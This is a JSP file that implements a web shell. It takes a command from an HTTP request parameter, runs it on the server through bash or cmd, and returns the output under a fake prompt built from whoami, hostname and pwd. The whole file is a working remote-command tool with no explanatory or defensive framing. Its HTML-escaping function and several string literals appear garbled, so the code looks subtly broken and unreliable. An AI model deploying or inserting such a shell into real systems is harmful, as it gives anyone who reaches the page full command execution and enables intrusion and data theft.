<%@ page import="java.io.*" %>
<%!
// Not Perfect, but will be good enough for a majority of cases that will arise
public String HtmlEncode(String inputVal) {
return inputVal.replaceAll("&", "&").replaceAll("<", "<").replaceAll(">", ">").replaceAll("\'", "'").replaceAll("\"", """);
}
public String RunCommand(String commandToRun, String osType) {
String outputString = "";
String currentLine = null;
try {
ProcessBuilder processBuilder = new ProcessBuilder();
if (osType.equals("win")) {
processBuilder.command("cmd", "/c", commandToRun);
} else {
processBuilder.command("bash", "-c", commandToRun);
}
Process p = processBuilder.start();
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((currentLine = sI.readLine()) != null) {
outputString += HtmlEncode(currentLine) + "";
}
} catch(IOException e) {
outputString = "ERROR: " + e.getCause() + "" + e.getMessage() + "";
}
return outputString;
}
%>
<%
String osType = request.getParameter("osType");
String cmd = request.getParameter("cmd");
String output = "";
String htmlCmd = "";
String htmlOsType = "";
if (osType == null || (!osType.equals("win") && !osType.equals("linux"))) {
osType = "linux";
}
if(cmd != null) {
String line = null;
String testCommand = RunCommand("", osType);
if (testCommand.startsWith("ERROR:")) {
output = RunCommand(cmd, osType);
} else {
if (osType.equals("win")) {
output = "" + HtmlEncode(RunCommand("cd", osType).trim().replaceAll("", "").replaceAll("\r", "").replaceAll("\n", "")) + HtmlEncode("> ") + HtmlEncode(cmd) + "";
} else {
String username = HtmlEncode(RunCommand("whoami", osType).trim().replaceAll("", "").replaceAll("\r", "").replaceAll("\n", ""));
String hostname = HtmlEncode(RunCommand("hostname", osType).trim().replaceAll("", "").replaceAll("\r", "").replaceAll("\n", ""));
String workingDir = HtmlEncode(RunCommand("pwd", osType).trim().replaceAll("", "").replaceAll("\r", "").replaceAll("\n", ""));
String userAndHost = "" + username + "@" + hostname + "" + ":";
String dirPath = "" + workingDir + "";
output = userAndHost + dirPath + "# " + HtmlEncode(cmd) + "";
}
output += RunCommand(cmd, osType);
}
htmlCmd = HtmlEncode(cmd);
htmlOsType = HtmlEncode(osType);
}
%>
<%=output %>